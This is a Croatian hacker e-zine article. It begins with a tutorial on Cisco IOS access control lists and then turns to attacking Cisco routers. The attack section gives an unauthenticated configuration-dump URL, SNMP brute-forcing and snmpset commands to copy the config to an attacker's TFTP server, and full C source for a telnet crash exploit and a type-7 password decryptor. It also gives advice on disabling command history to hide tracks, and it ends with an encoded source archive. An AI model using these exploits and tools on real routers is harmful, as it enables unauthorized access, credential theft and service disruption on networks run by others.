\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ U dijelu smo posvecenom ACL-ovima odnosno access control listama... jednostavnom alatu implementiranom u CISCO IOS koji se koristi, naizgled, slicno kao i iptables, ipchains na linuxu o kojima je mislim bilo rijeci u prethodnim izdanjima ezina. Dakle, "izuzetno" je bitno kako su ACL-ovi podeseni na routeru iz vise razloga... vrlo cesto si administratori stvaraju sami nepotrebne probleme kod konfanja istih.. pa se pravila za vise interfejsa medusobno kolju, pa nisu blokirane neke osnovne stvari koje omogucuju land-attack (isti source i destination addr pa si stroj stvori loop u path-u paketa)... zatim krivo definirana pravila za pristupanje routeru itd. itd.. Svrha ACL-ova je da se zabrani nezeljeni pristup na mrezu dok pak neki korisnici interne mreze moraju imati pristup odredjenim servisima vani itd. itd. Dakle to je klasican filter saobracaja koji omogucava filtriranje prometa koji prolazi kroz nase interfejse.. ACL-ovi koriste jednostavne pa- rametre "allow" i "deny" za dozvolu tj. zabranu protoka odgovarajuceg saobracaja.da bi paket prosao kroz interface mora zadovoljiti odredjene kriterije koje mu postavi admin prilikom konfiguriranja access-lista na samom routeru. znaci ovisno o pravilu ac liste paket ce biti propusten ili drop-an. vrlo cesto se acl-ovi koriste kako bi se dobilo na performansama u protoku na samoj mrezi... npr. zabranom video traffic-a.. itd. * Ako ACL nisu konfigurirane na routeru svi ce paketi koji prolaze kroz router moci pristupiti svakom interface na routeru odnosno svim mrezama! bitno je da se acl unose hijerarhijski odnosno pravila se provjeravaju odozgo prema dolje prakticki pa ako se dva rula krse medjusobno onaj donji se ni ne gleda tj. nema nikakvu ulogu u danjem kontroliranju protoka!!! tako je najbolje na kraju svake liste nakon sto unesemo sve sto trebamo staviti "implicit deny" liniju kako nebismo kasnije imali problema...!!! postoji nekoliko tipova ACL-ova: --------------------------------------- | PROTOKOL: | OZNAKA: | --------------------------------------- | IP | 1-99 | --------------------------------------- | Extended IP | 100-199 | --------------------------------------- | AppleTalk | 600-699 | --------------------------------------- | IPX | 800-899 | --------------------------------------- | Extended IPX | 900-999 | --------------------------------------- | IPX SAP | 1000-1099 | --------------------------------------- znaci da pojasnim ovo... svaki ACL kada se unosi na routeru mora imati sebi dodijeljen uniq broj po kojem se identificira... ono identificira vrstu access-liste a brojevi su u tabeli znaci pod sekcijom "OZNAKA"... sintaksa je prilicno jednostavna... dakle: u configure terminal modu: Router(config)#access-list nakon access-list commande slijedi dakle identifikacijski broj pristupne liste... (standardni ip... extended ip itd. itd...) iskljucivanje acl-a se vrsi komandom no access-list.. nekoliko je bitnih pravila kod unosenja prisupnih lista na router: jedna pristupna lista za protokol za direction, standard acl unesen sto blize odredistu, extended sto blize src-u, pravila se trebalu unositi od specificnih do opstih ... i jako je bitno napomenuti da ne mozete iskljuciti odredjeno pravilo sa komandom koju sam naveo gore "#no access-list" vec cijelu pristupnu listu brisete sa odredjenog interfejsa... posiljatelj paketa koji je drop-an nakon primitka dobiva reply od routera tj. ICMP message "host unreachable"!!! * sve spomenuto odnosi se na IPv4 tj na 32 bitno adresiranje da nebi bilo kakvih nesporazuma.!!! jos jedna iznimno bitna stvar kod pristupnih lista jest "Wildcard mask"?! to je isto tako 32-bitni broj kao i IP adresa .. isto je podijeljen na cetiri okteta s tim da je uparen s ip adresom a wildcard mask je zapravo nick za ACL mask-bit matching process .. da nebi doslo do nesporazuma ono nikakve veze nema s subnet maskama... wildcard maske nisu pretjerano jed- nostavne za skuzit pa cu pokusat kroz primjer objasnit princip njihova rada. bitno je da nikako ne mijesate njih i subnet masku... # access-list 1 permit 172.16.0.0 0.0.255.254 ------------------------------------------------- ip adresa: 10101100 00010000 00000000 00000000 wildcard: 00000000 00000000 XXXXXXXX XXXXXXX0 match: 10101100 00010000 XXXXXXXX XXXXXXX0 |------ ------------------------------------------------- | INCOMING PACKET: 172.18.4.2 | ------------------------------------------------- | ip adresa: 10101100 00010010 00000100 00000010 | | wildcard: 00000000 00000000 XXXXXXXX XXXXXXXX | | value: 10101100 00010010 XXXXXXXX XXXXXXXX | ------------------------------------------------- | USPOREDBA SA: | ------------------------------------------------- | match: 10101100 00010000 XXXXXXXX XXXXXXXX <------ dolazna kompozitna vrijednost se usporedjuje s internom match vrijednoscu! zbog razlike u 00010010/00010000 odnosu na drugom bitu packet ce biti rejected... u slucaju da je recimo paket bio poslan sa 172.16.4.2 on bi bio pusten kroz interface jer bi se 00010000/00010000 odnos poklapao... dva bitna sintaksna parametra kod koristenja prisptupnih listi su "host" i "any".. any = 0.0.0.0 IP i 255.255.255.255 = wildcard mask host = 0.0.0.0 mask.. znaci za samo jedan specificno definiran host..!! komanda "# show access-lists ce vam dati vise informacija o trenutno konfiguriranim pristupnim listama na routeru... ======-[ 0x04a STANDARD (1-99) vs. EXTENDED (100-199) standard acl-ovi provjeravaju source adresu dolazeceg paketa i chekira odgovarajuce pravilo s infomacijama koje ima a to su network, subnet i src adresa hosta... puna sintaksa glasi: Router(config)#access-list access-list-number {deny | permit} source [source-wildcard ] [log] za disable acl-a: Router(config)#no access-list access-list-number extended acl-ovi se puno, puno vise koriste iz prostog razloga sto pruzaju mnogo vise mogucnosti i daju puni veci kontrolu na saobracajem.. ova vrsta pristupnih lista provjerava source i destination adresu a isto je tako u mogucnosti provjeriti protokol tj. port koji paket zahtjeva koristiti prilikom njegovog routanja kroz sam router. dakle puno vise paznje je obraceno na vise OSI layere kao sto su transport i application layeri... puna sintaksa glasi: Router(config)#access-list access-list-number {deny | permit} protocol source komanda "#ip access-group" linka odredenu extended pristupnu listu na odredeni interfejs.. zapamtite.. jedna acl po interface-u, po pravcu, i po protokolu je dozvoljena..!!! ======-[ 0x04b NAMED ACL's od ver. 11.2 IOS-a moguce je standard acl-ovima davati imena umjesto brojevnih oznaka sto je veoma korisno i puno lakse za snalazenje adminu.. najveca prednost je sto se acl-ovi ovako mogu modificirati bez da se brisu cijele pristupne liste pa unose ponovno!!! NACL primjer! (config)#ip access-list extended server-access (config-ext-nacl)#permit TCP any host 100.100.100.99 eq smtp (config-ext-nacl)#permit UDP any host 100.100.100.99 eq domain (config-ext-nacl)#deny ip any any log ... nakon konfiguriranja named acl-ova na odredjenom interface-u ih apply-amo tj. dodjeljujemo upravo tom i-face komandom "ip access-group server-access out" --> cisto samo kao primjer!!! iz gore navedenog primjera je vidljiv na zadnjoj liniji "log" segment koji stoji na kraju any any parametara za "deny ip" acl.. taj parametar koristimo kada zelimo da nam acl podsustav IOS-a logira sve pokusaje protoka traffica koje je on blokirao upravo na tom definiranom pravilu. logiranja se vrse u odredjeni fajl iz kojeg se izlistavaju show komandom trazeci neke 31337 hax0re koji floodaju na suho ili trazeci sourceve odredjenih tipova skeniranja itd. Pristupne liste nakon izlistavanja trenutno pokrenute konfiguracije, odnosno "#show running-config" su prikazane upravo onako kako su one i unesene preko "#configure terminal" moda "#access-list komande... Evo nekoliko primjera unosa i outputa pristupnih listi na cisco routeru! ---------------------- no access-list 101 access-list 101 deny tcp any host 198.0.0.1 eq www access-list 101 deny tcp any host 172.16.0.1 neq www access-list 101 deny icmp any host 172.16.0.1 access-list 101 deny ip any host 172.16.0.1 access-list 101 deny tcp 170.20.1.128 0.0.0.59 209.0.0.0 0.0.0.128 access-list 101 deny icmp 170.20.1.128 0.0.0.59 209.0.0.0 0.0.0.128 access-list 101 permit tcp 170.20.1.128 0.0.0.120 209.0.0.0 0.0.0.255 access-list 101 deny tcp any 209.0.0.0 0.0.0.255 access-list 101 deny icmp any 209.0.0.0 0.0.0.255 access-list 101 permit tcp any any access-list 101 permit icmp any any access-list 101 permit ip any any ---------------------- kao sto se vidi iz navedenog primjera kada se zavrsi s konfanjem lista i sigurni smo da smo sve konfigurirali tocno kako nam je bilo potrebno onda na kraju pristupne liste stavljamo liniju access-list 101 permit ip any any koja nakon sto je konfigurirana dozvoljava sav ostali promet. Jos jednom napominjem da se lista cita odozgo prema dolje od strane IOS-a tako da nakon sto su odredjene akcije disable-ane sve je ostalo omoguceno... takodjer je moguce dozvoliti specificne stvari a na kraj staviti implicitni "deny" ostalog traffic-a.. ...deny ip any any... no onda treba paziti sto sve omoguciti za nesmetanu komunikaciju preko odredjenih tcp/ip, icmp... protokola. pristupne liste su poprilicno mocan alat te se mogu izuzetno dobro iskoristiti uz posjedovanje odredjenog znanja... da ne spominjem igranje sa src i dest NAT tehnologijom, NAPT-om itd. itd. Nema smisla ici pre- siroko ovde.. ako zelite znati vise procitajte bloodzero-ov dobar tekst o fw-ima izasao u drugom broju prhearless Zina.. /////////////////////////////////////////////////////////////////////////// --==<[ 0x05 IOS security; 'go with the flow' \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Evo dosli smo i do dijela u kojem cu pokusati pojasniti neke tehnike napada na cisco router.. znaci da bi prekonfigurirali router kako zelimo, iskoristili ga za daljnje napade ili nekog drugog razloga moramo dobiti pristup cisco terminalu.. Vulnerability skeneri ce jako dobro obaviti svoj posao prilikom analiziranja sigurnosnih propusta na cisco routerima. preporucio bih vam Nessus-a koji ima podosta veliku listu inih ranjivosti, (brute force stringovi za SNMP daemon...) ali morate racunati da je vecina routera na mrezi procesljana raznoraznim Vulnerability scannerima pa vam oni isto tako, cesto nece biti od velike koristi... *** kroz praksu cete vidjeti da jako puno admina cesto grijesi prilikom konfiguriranja ACL-ova.. jako puno njih izostavi neke must do sitnice kao blokiranje paketa s istim src dest adresama sto naravno omogucava land attack, takodjer dosta njih ne sortira login ip range na terminal,,, zatim ne blokiraju ICMP echo, redirect i mask floodanja itd. itd. a access-list konfiguraciju mozete vidjeti iz ispisa "#sh ru" komande a do sadrzaja konfiguracijske datoteke mozemo doci na vise nacina kao sto cemo vidjeti kasnije u ovom poglavlju... Velik je broj sigurnosnih propusta objavljen kroz godine razvoja Cisco sistema, stoga cu ja ovdje pokusati pojasniti neke od njih. ovdje sam ukljucio i neke sigurnosne propuste za neke starije verzije cisco IOS-a no kao sto i sami znate po netu naletite na sve i svasta.. a sta se moze kad je mnogim adminima jaaaaako tesko patch-irat servise, upgrade-at IOS, nije za puno njih ni ovce cuvat, a kamoli neki unixoid, IOS... ma.. nije vrijedno spomena. ajmo mi dalje.. na samom pocetku kao sto smo spomenuli treba identificirati cisco router na mrezi. mnogo je metoda za to.. analizom scan output-a, traceroute-om. .. ali ako nemate vremena za to ili bezuspjesno pokusavate rucno evo jedan dio koda koji ce za vas identificirati dali je remote target uredaj cisco router ili ne koristeci cisco indent port (1999).. *** ciscoident.c *** isto tako mozete pomocu odredjenih alata skenirati mreze u potrazi za cisco ruterima s tim da isto tako paralelno mozete isprobati dali pronadjeni ruteri imaju eventualno defaultni "cisco" password podesen! iako je ovo zaista rijetko nemate sto izgubiti a i zaista je korisno jer mozete proskenirati A, B i C klase ip adresa prilicno brzo u potrazi za "default pass" ranjivim ruterima.. nakon kompiliranja slijedeceg source-a sintaksa je izuzetno jednostavna... "./cisco_scan x.X"... potrebni parametari su subnet, timeout i thread... sve rezultate skener ce zapisati po defaultu u file "cisco.txt" *** ciscos.c *** nakon sto ste pronasli cisco router na mrezi jednom od metoda, prelazi se u fazu info-gatheringa o samom router IOS-u, njegovoj konfiguraciji itd. ovo je takodjer opcionalna metoda u kojoj je vecini mnogo vece zadovoljstvo sam ispitivati router, bockati ga sa svih strana, kodirati simple skripte, jednostavne fuzzere koji ce testirati odredjene servise slanjem mixed string-ova itd. no i taj proces moze biti dosta ubrzan koristeci neki univerzalni vulnerability skener... stoga evo jednog izvrsnog perl source-a koji ce za vas proskenirati target cisco router trazeci i exploitajuci dosta poznatih sigurnosnih propusta od kojih cu one zanimljivije, detaljnije pojasniti kasnije!! *** ciscoglbxpl.pl *** ---- Ok.. Ok.. But I'd rather use my own hands & brain!!! ;> ---- Prva uvelike stara i poznata ranjivost je HTTP Conf Arbitrary Admin Access sve sto vam treba za exploitanje ovog bug-a je internet browser. Dakle u browser ukucajte IP od router-a... naravno da ranjivi router mora imati pokrenut httpd daemon... nakon konektiranja na router dolazi pop-up koji vas prompta za login i password.. vi jednostavno kliknite cancel na pop-up-u i u network address ukucajte http://*/level/99/exec/show/config Time dobivate izlistanu konfiguraciju ciljanog routera... !!!! sada imate jako puno korisnih informacija !!! npr. ACL liste koje mozete iskoristiti u danjem planiranju napada, password, kriptirani koji se vrlo lako da dekriptirati, SNMP community stringove... mozda cak i clear text pass ako admin nije enable-o secret vec samo password u configure modu... Crackiranje passworda!!! nakon sto se si izlistali konfiguracijski fajl u njemu ste dobili kriptirani password koji izgleda npr. ovako: "095C4F1A0A1218000F" ovisi koju je vrst enkripcije izabrao administrator.. pretpostavit cemo u ovom slucaju da je izabrao "Vigenere" koja se ponekad koristi kao metoda za enkripciju lozinki na cisco IOS-u. sada jednostavno si nabavite alat pod nazivom "GetPass" od Boson-a. i jednostavno napravite reverse hasha u plain text pass. ima jos mnogo alata za crackanje passa no ovaj je najucinkovitiji za ovu vrst enkripcije... osim Vigenere tipa enable pass-a evo i ostalih tipova: * Clear Text enable password password * Vigenere enable password 7 104B0718071B17 * MD5 enable secret 5 $1$yOMG$38ZIcsEmMaIjsCyQM6hya0 Nakon sto izvucete clear-text password i logirate se na konzolu u privilegirani mod imate sve u svojim rukama .. Jos jedan vrlo ucinkovit nacin dobivanja neovlastenog pristupa na cisco IOS je Brute-force-anjem.. kod CISCO routera vrlo cesto cete naici na otvoren port 161 odnosno SNMP (UDP)... mnogo je alata za brute-forsanje snmp-a na IOS-u a neki od ponajboljih su solarwind paket, ADMsnmp.. znaci kao sto i sami znate cilj je pogoditi community stringove SNMP paketa koje razmjenjuje ciljani router. Kako bi dobili sto vise informacija koristite SNMP audit scanner ADMsnmp koji je vrlo ucinkovit u pogadjanu community stringova. Nakon sto s jednim od alata pogodite read/write community string i steknete r/w permissione na ciljanom ruteru prosetajte se MIB-om (Management Information Base) kako bi doznali sto vishe informacija o samom ruteru. -----[code]---- [root@madness]# snmpwalk -v 1 -c duckling IP_ROUTER SNMPv2-MIB::sysDescr.0 = STRING: Cisco Internetwork Operating System Software IOS (tm) 2600 Software (C2600-I-L), Version 12.1, RELEASE SOFTWARE (fc1) Copyright (c) 1986-2003 by cisco Systems, Inc. Compiled Tue 12-Jan-03 11:59 by cisco SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.7.3.20 SNMPv2-MIB::sysUpTime.0 = Timeticks: (103607424) 23 days, 11:58:54.24 SNMPv2-MIB::sysContact.0 = STRING: SNMPv2-MIB::sysName.0 = STRING: ADMsnmp SNMPv2-MIB::sysLocation.0 = STRING: SNMPv2-MIB::sysServices.0 = INTEGER: 6 -----[/code]---- sad kad ste uvidjeli da je device CISCO 2600 s navedenim IOS-om lako mozete prebaciti njegov config file na svoj tftp server koji sam spomnjao u jednom od prethodnih poglavlja. -----[code]---- [root@madness]# snmpset ROUTER_IP duckling .1.3.6.1.4.1.9.2.1.55.100.100.100.10 s "config" enterprises.9.2.1.55.100.100.100.10 = "config" -----[/code]---- opet imate uvid u konfiguracijsku datoteku samog uredaja i mozete dobiti jako puno korisnih infomacija kao i u prethodnoj metodi. Jos jedan poznati bug je u verziji (izasloj prije krista) 4.1 ako se ne varam .. nakon spajanja na telnet daemon na routeru jednostavno mu unesite ogroman pass string: 10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjf hgzmx ncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465q pwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019 dsk10293847465qp woeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyals kdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk ... nakon toga cisco router ce se rebootati no prije toga ce vjerojatno biti zamrznut na odredjeno vrijeme (par minuta) sto ce vam omoguciti da ga mozete iskoristiti za dobivanje neovlastenog pristupa na terminal! ako se to ne dogodi onda vjerojatno nije gore 4.1 verzija no onda mozete probati neke flood metode u istu svrhu ... znaci da bi prije reboota uvjetovali reload konfa na samom IOS-u i time si omogucili ulaz sa defaultnim cisco, admin passwordom.. ako se nekom neda unositi ovakve stringove ;> i nema vremena skodirati si skripticu za to evo source-a sploita koji ce rasturit ruter 7xx/4.1 za vas.. by Bosplaya -----[code]----- #include #include #include #include #include #include #include #define dport 23 /* The port we want :)*/ int x, s, i, p; char *str = "45646545646465465465fsdfdsfdsfdsf464654546654654654564564 6546545646546546545646465465456456456456456456465465456465465465456465 4464656464654456654unFunF454646465465465465465456456465456465456456465 4564563213131321321231321231231321231321231321321321231321231231546546 45646464464"; struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } } void main(int argc, char *argv[]) { int t; if (argc != 3) { printf("Ciscokillah.c by Bosplaya\n\n"); printf("Usage: %s \n",argv[0]); exit(0); } for (t=0; t<5; t++) { if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } p = atoi(argv[2]); open_sock(s,argv[1],p); for (i=0; i<10; i++) { send(s,str,strlen(str),0x0); } printf("uNF\n"); } close(s); } -----[/code]----- isto tako mozete probati brute-force-ati login servise kao sto su telnet i ssh no to je ucestalo mnogo tezi i mnogo bucniji nacin!! Prvo trebate vidjeti kakvu provjeru autorizacije koristi, "Tacacs" ili "Radius" .. naravno ako je pokrenut fingerd mnogo ce vam biti lakse pogoditi samo passworde za razliku od dvostruke muke username/password guessinga... Na unixoidima koristite "hydra" alat od THC-a a ako ste na windozama mozete koristiti popularni "brutus".. Nakon sto ste dobili pristup na router bilo kojom od gore navedenih metoda mozete se igrati s njim i raditi sto vam god padne na pamet.. snifati promet, ostvariti pristup na neke druge strojeve no ono sto je najbitnije morali biste dekriptirati password kako bi i dalje imali pristup na router.. najlaksi nacin je da si ga prebacite sa tftp-om na svoj tftp server.. (no obvezno prije svega disable-ajte command logging; kao npr. ".bash_history" file ili "lastcomm --user" output na linuxu tako i na cisco-u postoji terminal history pa preporucam da ga iskljucite pomocu komande "terminal history size 0"). sintaksa je veoma jednostavna "tftp fajla vas_tftp"... iako se razlikuje od verzije do verzije IOS-a pogledajte "tftp ?" pa ce vam sve biti mnogo jasnije... no nakon prebacivanja kriptiranog fajla na svoj root dir tftp-a morate si ga crackat nekako.. nalakse je da si kompilirate slijedecu sekvencu za dekriptiranje cisco passova no mozete pokusati i metodama koje koristi JTR ili neki drugi pass cracker.. kako god ova sekvenca je dost stara no jako cesto ce vam dati trazeno..: source==blacksun (blacksun.box.sk): -----[code]----- #include #include char xlat[] = { 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44 }; char pw_str1[] = "password 7 "; char pw_str2[] = "enable-password 7 "; char *pname; cdecrypt(enc_pw, dec_pw) char *enc_pw; char *dec_pw; { unsigned int seed, i, val = 0; if(strlen(enc_pw) & 1) return(-1); seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0'; if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1])) return(-1); for (i = 2 ; i <= strlen(enc_pw); i++) { if(i !=2 && !(i & 1)) { dec_pw[i / 2 - 2] = val ^ xlat[seed++]; val = 0; } val *= 16; if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) { val += enc_pw[i] - '0'; continue; } if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') { val += enc_pw[i] - 'A' + 10; continue; } if(strlen(enc_pw) != i) return(-1); } dec_pw[++i / 2] = 0; return(0); } usage() { fprintf(stdout, "Usage: %s -p \n", pname); fprintf(stdout, " %s \n", pname); return(0); } main(argc,argv) int argc; char **argv; { FILE *in = stdin, *out = stdout; char line[257]; char passwd[65]; unsigned int i, pw_pos; pname = argv[0]; if(argc > 1) { if(argc > 3) { usage(); exit(1); } if(argv[1][0] == '-') { switch(argv[1][1]) { case 'h': usage(); break; case 'p': if(cdecrypt(argv[2], passwd)) { fprintf(stderr, "Error.\n"); exit(1); } fprintf(stdout, "password: %s\n", passwd); break; default: fprintf(stderr, "%s: unknow option.", pname); } return(0); } if((in = fopen(argv[1], "rt")) == NULL) exit(1); if(argc > 2) if((out = fopen(argv[2], "wt")) == NULL) exit(1); } while(1) { for(i = 0; i < 256; i++) { if((line[i] = fgetc(in)) == EOF) { if(i) break; fclose(in); fclose(out); return(0); } if(line[i] == '\r') i--; if(line[i] == '\n') break; } pw_pos = 0; line[i] = 0; if(!strncmp(line, pw_str1, strlen(pw_str1))) pw_pos = strlen(pw_str1); if(!strncmp(line, pw_str2, strlen(pw_str2))) pw_pos = strlen(pw_str2); if(!pw_pos) { fprintf(stdout, "%s\n", line); continue; } if(cdecrypt(&line[pw_pos], passwd)) { fprintf(stderr, "Error.\n"); exit(1); } else { if(pw_pos == strlen(pw_str1)) fprintf(out, "%s", pw_str1); else fprintf(out, "%s", pw_str2); fprintf(out, "%s\n", passwd); } } } -----[/code]----- vecina prije spomenutih metoda ukljucuje pribavljanje konfiguracijske fajle u svrhu iscitavanja passwd hash-a radi njegova kasnijeg crackanja no bilo bi zaista mnogo bolje i lakse kada bi mogli s pravim sploitom sa shellcode-om direktno root-ati sam IOS?... pa evo jedan heap overflow PoC exploit koji radi na Cisco 11.1.x - 11.3.x TFTP serverima. dakle tftp server bi trebao biti reg set-an za sam flash file na routeru. ovim mu se overflow-a heap buffer s predugim filename-om u TFTP request-u. ukljuceni program je PoC koji nakon executanja shell code-a prepisuje konfiguraciju na routeru u NVRAM za preuzimanje kontrole nad ruterom koristeci nekontroliranu razmjenu pointera! shellcode radi samo na Cisco 1000 i 1600 ruterima zbog flash invalidacije a stack adresa ovisi o image-u. dakle navedenim shell code-om se upload-a nova konfiguracija na sam IOS cisco rutera i to sve jednim UDP paketom.. da ne duljim evo source u kojem sam se ja vrlo lako izgubio nekoliko puta dok sam neke stvari isprobavao pa dok ga analizirate samo polako i strpljivo.. *** iosheapUltimaratio.c *** Izgleda da je ovaj flow dao motivacije mnogima i da donedavno, opisivan kao iznimno siguran, cisco IOS (unatoc odavno znanim sigurnosnim propustima poput HTTP, SMTP, NTP bugova) pokazuje sve vise slabosti. naime nedavno su procurile informacije o novom sigurnosnom propustu u trenutnom IOS-u cije exploitanje omogucuje remote otvaranje "enable" moda. spomenuti bug se izgleda iskoristava na nacin da se izvrsi buffer overflow napad i pokusa ubaciti informacije na heap, nekoristeni dio memorije kad se ruter starta, sto se prije nekima cinilo nemogucim jer IOS periodicno (30-60 sec.) provjerava heap trazeci "bad data" koji ako je pronadjen router reboota i ponovno podize sistem. To sve obavlja proces "heap checker" koji se pak moze prevariti ako se upravo njemu da do znanja da je IOS vec srusen. Dakle trik je u tome da cisco ios misli da se rusi prije nego li je on zapravo srusen. Znaci "abort" rutinu heap checkera treba prevarit razmjenom pointera dajuci joj lazne informacije! Uzasno me zanima rjesenje offset-a no Vjerovatno ce jos puno govora biti o ovom sigurnosnom propustu u doglednom vremenu i jos mnogo neprospavanih noci je pred nama. U ovoj sekciji su bili navedeni neki principi zaobilazenja odredjenih sigurnosnih rjesenja na cisco routerima.. iznio sam osnovne koncepte samih metoda i nadam se da je sve poprilicno jasno.. naravno za potpuno razumijevanje je neophodno zanje C-a te Perl-a u ovom konkretnom slucaju. neke sourceve sam morao prepraviti, no sve gore izlistane kodove sam u bezbroj navrata testirao i koristio tako da nebi trebalo biti nikakvih problema sto se tice kompiliranja i koristenja istih... no ako ih pak bude slobodno me kontaktirajte na mail naveden na "line 9". btw. usputno, testno koristena linux platforma na kojoj je sve proslo ok jest "Linux Madness 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686" sa gcc-om v3.2.2... ----- NAPOMENA: vecina internacionalnih administratora na bitnijim cvorovima se pridrzava guideline-a koji je izdala NSA (National Security Agency) te koliko sam pogledao njihove conf guide-ove jako je dobro skrojeno konfigurianje sa sigurnosnog stajalishta no.... "Nobody's perfect" btw. fajla se moze pronaci na netu pod nazivom cis-2.pdf - NSA Security Recommendation Guides... /////////////////////////////////////////////////////////////////////////// --==<[ 0x06 Outro \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Evo dosli smo do kraja ovog teksta u kojem naravno, nisam, mogao da iznesem pretjerano previse toga no nadam se da je i iz ovog skromnog komada barem netko od vas naucio nesto novo i da vam nije bilo pretjerano dosadno citajuci ga. Za bilo kakva dodatna pitanja i komentare te eventualne tehnicke pogreske obratite mi se na mail: h44rp.net[at]gmail[dot]com gr33tz t0: svima koji na bilo koji nacin pomazu u opstanku phearless eZina, škrobo, SiKe, Shatterhand, _bl00dz3r0_, nimr0d, set_X, DownBload, argv, BoyScout, Exoduks, m4rko.. ostatku #blackhat team-a, bh0x development crew, Impaler, Medo, hr.linux-u.. & big kiss Jeleni! sh1tz t0: svim priglupim sistemcima kojih je iz dana u dan sve vise.. ----- ----- "I've been reckless but I'm not a rebel without a cause" ----- ----- \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ begin 644 sources M'XL("-SO4$,``S53;#1/82YT87(`[#Q[5]O&L_W;Y_`=M@Y))")LRQA(,*9U M@#2<2X"#2=M[`\='EM98%UE2]8#0E'[V.[,/O6T,39/>_J(<8GDU.SL[KYV9 M73GTXL"D8?.[O_%JP;6YOHZ?^N9ZBWV'2WZR>[VUUN[H&YN;K?9W+5W?[*Q_ M1];_3J+D%8>1$1#R73@QHH@&,^$"SXN^!#U?^`J%_$T[-+U+9_31=QJ^\WG' M0`%O=#HSY+^VT5I?D_+?:*VM@?P[&_K&=Z3U>&C0WH);:X7T9!LP?>S"26O'<.\ MZKN7U`D)L',\)@$=QR$EAN/`;>A[;FB,;,>.;!I"G[$7$,,EMFMZ04#-B,!W MVW$89NSFC4DTL0&7-XYNC(!"%X#`7O2:NE$,8)8Q-2Z!A,@C7C2A`0#?AA&= MA@U&Y22*_*UF\^;FIC%"X@Q&7,..<'XU,/1C__2GGS^0%KG(@8AF'9MK M]I@H')[^!IU5\@E&ADDI:K=VQY_*G@L!Z`R"&;+.06#*):AV"M6>#;660JW- MANJD4)W94.LIU/ILJ(T4:F,VU&8*M3D;ZF4*]7(VU*L4ZM5L*+V586MK#ER6 M_7/XKV<$H,^1@)X1@3Y'!GI&"'HJ!0IM?F"[T9C4S]T#]]IP;(M@+QIP4[PE M;CP=T8`T&HUS]]P%[:4?[4C1&0JA\V]BUXQL,%^F^&$\(DP#:Y]JA*3HWV,; MV6(XTG;T)\2\I+">D&UPLID%,O!F=']JAK M@Z,!7S2@P;5MTOE(UO)(WIZ=G9!^'$WF]^I@+P:[Z[EC^S(.#&0WZ0(#`=<(1D,WI*3P(L\TW/(.SN<&I$Y M*<^JB&HCR]-U\@L=Y4@`VNY%L5E!S=IZJT5^/22G=`I+1V9^N]YT:KA6$(>_W3L@;Q_.LAPI7;R6(!M2,@8[^[H`M M2+_8KN7=A.3HC&%"O?$&I>YZ!4?>`2=@_H?4N+IG\':N-W"#W?]LTQO.#C%P M0>=+:)B&/HW)/BR[ENU>DH.]`7E]ZQMAF">`*._/WJBE_IT*#9\E@:PG0:_! MW1-Y\@AK9;YF>DN60Q@!UE"V9'9%FP4J#2OO#\7+^),\Q>O77]E'7<*#OP'X M-8P[91/H-3*CT>/8/C*@Y.'$[-7/6_HZ_+4!BVR&R,`"1&F4L+5U<+1_MKKC M@E`4@%K@8L9)>CND'IE^78-.)Y0&?>$'$()7VFLI`5?+''\2R MJ5(_\DC$V1AR/;!H!#$5M0C8*F>:]/`JFP"G?G7'B"-O[,3AA`E*2%K.K2[X M4F\P)N#SFXGM4*)L2!7! M;'6F3;<3FUY\Z9QAT9_=MGH[#Q&ME&QOYR%RE6*%L3#G4%ZV0+",7;$+N45( M!`O53R!F@L:*8/>;ZEUW84O]:?^,-,^?GC]E+KFI-UI).+7*I"@@TY[ULI7^ MDXWT87)\I"!G2S(OR+:0Y.)@F9_]7^:QNKOS6[F,`::)JG#?U\T:+ M=%HZB`EL<^(%]N_4:@+Y,+^>WKU;I'L;`F+O2G9JL4YWR!?6`YIZ.N='[DH- MK?!`6/8B6I3)^/(XD`21.U:,)T8X=_-CI&@_B*H+D[@0UK++!=5H7!2&=`P( M@D$'DA8V>=12@;$\>=`,9=F'P$3M_3@L<2!D7D89:"=OANAIM,'Q[G\-!V>G M^_UW&FBEC[YD=.L:4ZH\!X?R7/WCCQ:NP$5$;$%^[QHCT$P($2#WB6`Y`Q&+ M(;(+;J&K/59,SW7!J0,=/GA94A^X_<['EW6MK3%CT82-J*K4==ME'I0ZK!=7 MWS]`BU)'CU-.(C!E>\!B+U@.L*]&EH=,=R2"L[WC]V=J5W@#P$<"&L6!*P=Z M])5J1Q)X+K:6`0E73#@ARS6,LRV8;]UV,#0W"2U&>ST2+Q=!5TH:_-7)!M@C64$6Q=!M4 